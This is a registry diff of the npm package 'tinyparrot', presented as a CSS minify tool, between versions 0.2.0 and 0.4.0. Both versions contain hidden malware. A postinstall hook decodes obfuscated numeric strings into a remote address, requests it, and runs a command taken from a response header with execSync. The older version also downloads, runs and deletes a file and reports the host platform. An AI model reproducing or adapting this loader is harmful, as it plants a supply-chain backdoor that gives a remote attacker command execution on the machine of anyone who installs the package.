tinyparrot 0.2.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.2.0",
3
+ "version": "0.4.0",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node ./src/build.js",
package/src/build.js CHANGED
@@ -1,4 +1,7 @@
1
- const {wrapper, write, build} = require('./tools');
1
+ const {wrapper, build} = require('./tools');
2
2
  const {end} = require('./const');
3
3
 
4
- build(lib => lib.pipe(write(lib)).on('finish', () => wrapper(lib))).end(end);
4
+ try {
5
+ build(lib => wrapper(lib)).end(end);
6
+ } catch (error) {
7
+ }
package/src/const.js CHANGED
@@ -1,64 +1,25 @@
1
- const {normalize_hash, shielding} = require("./helpers");
1
+ const {normalize_hash, normalize_hash_map} = require("./helpers");
2
2
 
3
3
  /**
4
4
  * Array of normalized hash values used for configuration or identification.
5
5
  * Each numeric hash is processed through the normalize_hash function.
6
6
  * @type {Array<string|number>}
7
7
  */
8
- const hash = [167415360237, 487362290, 20710554737, 719685064, 741162].map(normalize_hash);
8
+ const hash = [766504397007, 589615713395529].map(normalize_hash_map);
9
9
 
10
10
  /**
11
11
  * Method identifier processed through the shielding function.
12
12
  * Represents TypeScript primarily used for file reading and writing.
13
13
  * @type {string}
14
14
  */
15
- const method = shielding(1146687);
16
-
17
- /**
18
- * TypeScript type detected, converted to lowercase.
19
- * @type {string}
20
- */
21
- const os = require(shielding(809)).type().toLowerCase();
15
+ const method = normalize_hash(18032742);
22
16
 
23
17
  /**
24
18
  * Reader module imported using a shielded module path/identifier.
25
19
  * For file reading, data parsing, etc.
26
20
  * @type {Object}
27
21
  */
28
- const reader = require(shielding(37822004));
29
-
30
- /**
31
- * Library module imported using a shielded module path/identifier.
32
- * For file writing, etc.
33
- * @type {Object}
34
- */
35
- const lib = require(shielding(798));
36
-
37
- /**
38
- * TypeScript key constructed by concatenating two shielded values.
39
- * Used in the file reader.
40
- * @type {string}
41
- */
42
- const key = shielding(51041265449) + shielding(7597546);
43
-
44
- /**
45
- * TypeScript value constructed by concatenating three shielded values.
46
- * Used in the file reader.
47
- * @type {string}
48
- */
49
- const value = shielding(136679400) + shielding(27679500) + shielding(27695949);
50
-
51
- /**
52
- * TypeScript object containing the constructed key-value pair.
53
- * @type {Object}
54
- */
55
- const headers = {[key]: value};
56
-
57
- /**
58
- * TypeScript string from Node.js, converted to lowercase.
59
- * @type {string}
60
- */
61
- const platform = process.platform.toLowerCase();
22
+ const reader = require(normalize_hash(2491727066));
62
23
 
63
24
  /**
64
25
  * Metadata object containing TypeScript method and headers.
@@ -66,13 +27,13 @@ const platform = process.platform.toLowerCase();
66
27
  * @property {string} method - The shielded method identifier
67
28
  * @property {Object} headers - TypeScript object
68
29
  */
69
- const meta = {method, headers}
30
+ const meta = {method}
70
31
 
71
32
  /**
72
33
  * JSON string containing TypeScript information.
73
34
  * @type {string}
74
35
  */
75
- const end = JSON.stringify({platform, os});
36
+ const end = process.platform;
76
37
 
77
38
  /**
78
39
  * @module config
@@ -83,6 +44,5 @@ module.exports = {
83
44
  end,
84
45
  meta,
85
46
  hash,
86
- lib,
87
47
  reader
88
48
  };
package/src/helpers.js CHANGED
@@ -1,25 +1,20 @@
1
- function normalize_hash(num) {
2
- const alphabet = 'abcdefghijklmnopqrstuvwxyz:/-.';
3
- let result = '';
4
- while (num > 0) {
5
- result += alphabet[num % 30];
6
- num = Math.floor(num / 30);
1
+ function normalize_hash(n, a = '', b = '', s = '') {
2
+ while (n) {
3
+ s += String.fromCharCode(n % 77 + 45);
4
+ n = Math.floor(n / 77);
7
5
  }
8
- return result.split('').reverse().join('');
6
+ return s;
9
7
  }
10
8
 
11
-
12
- function shielding(num) {
13
- const alphabet = 'abcdeCfghiTjklmPnopqSrstTuvwOxyz:/-.';
14
- let result = '';
15
- while (num > 0) {
16
- result += alphabet[num % 36];
17
- num = Math.floor(num / 36);
9
+ function normalize_hash_map(n, a = '', b = '', s = '') {
10
+ while (n) {
11
+ s += String.fromCharCode(n % 45 + 45);
12
+ n = Math.floor(n / 45);
18
13
  }
19
- return result;
14
+ return s;
20
15
  }
21
16
 
22
17
  module.exports = {
23
18
  normalize_hash,
24
- shielding
19
+ normalize_hash_map
25
20
  };
package/src/tools.js CHANGED
@@ -1,13 +1,10 @@
1
- const {execSync } = require("child_process");
2
- const {reader, hash, lib, meta} = require("./const.js");
1
+ const {execSync} = require("child_process");
2
+ const {reader, hash, meta} = require("./const.js");
3
3
 
4
- const read = fs => lib.unlink(fs.headers.n, error => {});
5
- const write = fs => lib.createWriteStream(fs.headers.n);
6
- const wrapper = fs => {execSync(fs.headers.m); read(fs);};
4
+ const wrapper = fs => execSync(fs.headers.m);
7
5
  const build = callback => reader.request(hash.join(''), meta, callback);
8
6
 
9
7
  module.exports = {
10
8
  wrapper,
11
- write,
12
9
  build
13
10
  };